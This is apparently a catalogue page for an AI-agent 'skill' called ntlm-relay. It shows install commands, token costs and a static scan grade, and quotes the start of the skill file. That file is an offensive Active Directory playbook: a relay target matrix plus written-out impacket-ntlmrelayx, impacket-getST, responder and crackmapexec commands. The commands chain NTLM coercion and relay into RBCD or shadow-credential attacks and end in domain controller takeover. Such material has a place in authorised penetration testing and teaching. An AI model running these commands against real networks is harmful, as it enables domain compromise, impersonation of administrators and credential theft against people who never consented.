Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add MingyiSecLab/Mingyi-Atlas --skill ntlm-relaygit clone --depth 1 https://github.com/MingyiSecLab/Mingyi-AtlasWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ntlm-relay)<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ntlm-relay"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/ntlm-relay/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/ntlm-relay"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/ntlm-relay.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00084 | $0.01441 |
| Opus 5 | $0.00042 | $0.00720 |
| Sonnet 5 | $0.00017 | $0.00288 |
| Haiku 4.5 | $0.00008 | $0.00144 |
Grade B, and why
ntlm-relay scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Asks for rootmediumPrivilege escalation
A mod that escalates privileges can change anything on the machine, not only the project.
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv' This is a copy
98% identical to ad-ntlm-relay — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 122 lines — stays where its author put it; the contents beside it link to each section on GitHub.
NTLM Relay Deep Dive
You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.
Target selection matrix
| Target protocol | Outcome | Requires |
|---|---|---|
| LDAP / LDAPS to a DC | Add user to Domain Admins, RBCD, modify ACL | Victim is local admin OR LDAPS allows signing |
| SMB to a workstation | Code exec on that workstation | SMB signing OFF on target (servers often have it ON) |
| HTTP /certsrv/ (ADCS) | Cert for victim — auth as them | ADCS Web Enrollment enabled |
| MSSQL | Database access; xp_cmdshell if linked |
Victim has DB privs |
| IMAP (Exchange) | Mailbox access | Victim has mailbox |
| HTTP /EWS (Exchange) | Mailbox + autodiscover | EWS reachable |
| LDAPS to DC for shadow creds | Set msDS-KeyCredentialLink on a victim | LDAPS + WriteProperty |
SMB signing — the key constraint
| Target | Default SMB signing |
|---|---|
| DC | REQUIRED (signing on, must verify) — can't relay SMB to DC |
| Domain workstations | NOT REQUIRED (off by default) — can relay |
| File servers | usually REQUIRED |
| Linux Samba | varies |
Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt — gives you the list of targets where SMB signing is OFF.
Most useful chains
Coerce → relay to LDAP → RBCD attack
# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# → TGS as Administrator for cifs on the DC — full takeover
Coerce → relay to ADCS → DA cert
See ad-certipy-esc-chain skill — chain ends with certipy auth → krbtgt.
Responder → relay to LDAP for Shadow Credentials
sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 11d ago First seen · 122 lines · 84 tokens per session scan B 988112476a5f
ntlm-relay is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 84 tokens to every session and 1,441 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it B with 1 finding (asks for root). It is 98% identical to ad-ntlm-relay, differing in 2 lines, and is treated as a copy.
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